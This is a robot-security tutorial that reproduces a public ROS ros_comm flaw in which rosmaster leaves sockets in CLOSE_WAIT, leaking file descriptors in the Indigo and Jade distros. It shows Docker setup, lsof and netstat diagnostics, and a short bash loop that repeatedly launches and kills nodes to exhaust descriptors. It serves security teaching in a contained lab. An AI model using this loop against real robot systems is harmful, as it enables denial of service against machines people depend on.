Skip to content

Latest commit

 

History

History

\newpage

Sockets left open and in CLOSE_WAIT state in ROS (Jade distro and before)

In this tutorial we'll exploit the vulnerability. First reported in April 2015 at ros/ros_comm#610, the underlying httplib in ros_comm implements things so that connections are only closed if you are sending the header "connection: close". Although a client might close the connection, the socket remains in the `CLOSE_WAIT state [3, 4].


Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity13:latest .

and run with:

docker run -it basic_cybersecurity13:latest

Reproducing the flaw

Kinetic

Let's start with Kinetic and attempt to reproduce it as reported at ros/ros_comm#610 (comment):

docker build -f Dockerfile.kinetic -t basic_cybersecurity13:latest . # build the kinetic Dockerfile
docker run -it basic_cybersecurity13:latest
root@4256f9eb9567:~# roscore &
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C

in another command line:

watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"
Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT                       Fri Nov  2 12:34:36 2018

0

at some point, while re-launching and re-stopping the launchfile, we'll see:

Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT                       Fri Nov  2 12:37:29 2018

5

in those cases:

root@5f6d4b210151:/# netstat -aeltnp | grep CLOSE_WAIT
tcp        1      0 172.17.0.2:35586        172.17.0.2:34571        CLOSE_WAIT  0          196101      48/python
tcp        0      0 172.17.0.2:45520        172.17.0.2:11311        CLOSE_WAIT  0          136921      61/rosout

but as soon as root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch is executed again, the number of file descriptors return to 0.

There seems to be a small glitch in Kinetic distro but the FDs leakeage seems to be contained. No issues with Kinetic distro.

Indigo

docker build -f Dockerfile.indigo -t basic_cybersecurity13:latest . # build the indigo Dockerfile
docker run -it basic_cybersecurity13:latest
roscore &
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.

started roslaunch server http://4256f9eb9567:43961/

SUMMARY
========

PARAMETERS
 * /rosdistro: indigo
 * /rosversion: 1.11.21

NODES
  /
    listener (roscpp_tutorials/listener)
    talker (roscpp_tutorials/talker)

ROS_MASTER_URI=http://localhost:11311

core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C

Repeat the following a few times:

roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.

started roslaunch server http://4256f9eb9567:43961/

SUMMARY
========

PARAMETERS
 * /rosdistro: indigo
 * /rosversion: 1.11.21

NODES
  /
    listener (roscpp_tutorials/listener)
    talker (roscpp_tutorials/talker)

ROS_MASTER_URI=http://localhost:11311

core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C

then

root@4256f9eb9567:~# lsof | grep rosmaster | grep -c CLOSE_WAIT
10

or:

root@4256f9eb9567:~# netstat -aeltnp | grep CLOSE_WAIT
tcp        1      0 172.17.0.2:57826        172.17.0.2:34649        CLOSE_WAIT  0          113151      1468/python
tcp        1      0 172.17.0.2:42052        172.17.0.2:37739        CLOSE_WAIT  0          114078      1468/python
tcp        0      0 172.17.0.2:45088        172.17.0.2:11311        CLOSE_WAIT  0          114002      1454/rosout

(note the correlation between the python Program Names sockets and the amount of file descriptors open (5 times that quantity to be precise)).

There is a FDs leakeage in Indigo distro.

Jade

Same issue applies to Jade, FDs leakeage.

Automating the exploitation

The simplest way to do so is to put together a script that exploits the flaw and name it rossockets.sh:

#!/bin/bash
while true; do
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch & sleep 2; kill -INT %+
done

then:

roscore &
./rossockets.sh > /tmp/dump.txt &
watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"

you will see how the number of file descriptors will start increasing and reach one thousand in a few minutes.

Resources

  • [1] Mendia, G. O., Juan, L. U. S., Bascaran, X. P., Calvo, A. B., Cordero, A. H., Ugarte, I. Z., ... & Vilches, V. M. (2018). Robotics CTF (RCTF), a playground for robot hacking. arXiv preprint arXiv:1810.02690.
  • [2] Scenarios of the Robotics CTF (RCTF), a playground to challenge robot security. Retrieved from https://github.com/aliasrobotics/RCTF
  • [3] rosmaster leaves sockets in CLOSE_WAIT state. Retrieved from ros/ros_comm#610.
  • [4] Close CLOSE_WAIT sockets by default. Retrieved from ros/ros_comm#1104.